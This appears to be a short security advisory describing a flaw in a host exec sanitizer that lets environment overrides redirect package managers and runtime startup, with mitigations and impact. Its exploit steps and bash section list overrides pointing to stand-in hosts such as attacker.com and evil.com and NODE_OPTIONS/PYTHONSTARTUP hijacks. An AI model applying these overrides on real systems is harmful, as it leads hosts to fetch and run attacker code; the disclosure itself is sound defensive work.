Listen to this Post
How the CVE Works
The vulnerability resides in the host execution environment’s sanitization logic for environment variables. When an approved `exec` request is processed, the component `src/infra/host-env-security.ts` applies a policy defined in `host-env-security-policy.json` to filter out dangerous variables. However, the sanitization does not “fail closed”—if an override is attempted for package‑manager variables (e.g., npm_config_registry, YARN_REGISTRY, PIP_INDEX_URL) or redirect‑related variables (e.g., HTTP_PROXY, NODE_OPTIONS), the system does not unconditionally block the request. Instead, it allows the environment to be mutated with values that can point to attacker‑controlled infrastructure.
An adversary who already has the ability to issue approved exec requests (e.g., through a compromised CI pipeline or misconfigured gateway) can inject these environment overrides. Because the sanitizer does not enforce a strict deny‑list with fallback to rejection, the modified environment variables are passed to child processes. Package managers then fetch dependencies from the attacker’s registry, and runtime bootstrapping can be hijacked via `NODE_OPTIONS` to load arbitrary code. The flaw is particularly dangerous because it remains silent—the exec request appears legitimate, while all subsequent dependency resolution and startup behavior is redirected, leading to execution of trojanized content.
DailyCVE Form
Platform: Host environment security
Version: Before 2026.3.22
Vulnerability: Env override sanitization
Severity: Critical
Date: 2026-03-22
Prediction: Already patched
What Undercode Say:
Analytics – The following bash commands illustrate how environment variables can be examined and how the fix hardens the sanitization.
Check current sanitization policy cat src/infra/host-env-security-policy.json Simulate an approved exec request with malicious override export npm_config_registry="https://attacker.com/" export HTTP_PROXY="http://malicious.proxy:8080" Before fix: these would pass silently node -e "console.log(process.env.npm_config_registry)" After fix (commit 7abfff756d) – strict closure The sanitizer now rejects any override containing non-whitelisted values Verification with patched version: grep -A5 "failClosed" src/infra/host-env-security.ts
How Exploit:
- Gain ability to submit an approved exec request (e.g., via gateway API with valid token).
2. Inject environment overrides targeting package managers:
- `npm_config_registry=https://evil.com/`
- `YARN_REGISTRY=https://evil.com/`
- `PIP_INDEX_URL=https://evil.com/simple/`
3. Alternatively, redirect runtime bootstrap:
– `NODE_OPTIONS=–require /tmp/malicious.js`
– `PYTHONSTARTUP=/tmp/evil.py`
4. Trigger the exec request; the sanitizer (pre‑fix) permits the overrides, causing subsequent dependency installs or application startup to fetch and execute attacker‑controlled code.
Protection from this CVE
- Upgrade to version 2026.3.22 or later, which includes commit `7abfff756d` implementing fail‑closed sanitization.
- If upgrade is not immediately possible, manually patch `host-env-security.ts` to enforce a strict allow‑list for environment overrides and reject any request containing non‑approved variables.
- Audit all approved exec callers to ensure they do not already have compromised environment overrides.
- Monitor package manager logs for unexpected registry URLs or proxy usage.
Impact
An attacker with approved exec privileges can achieve remote code execution by hijacking dependency resolution or runtime bootstrap. This leads to full compromise of the affected host, exposure of sensitive data, and lateral movement within the infrastructure. The flaw bypasses existing security policies because the sanitization failure does not “fail closed,” making the attack completely silent to standard monitoring.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
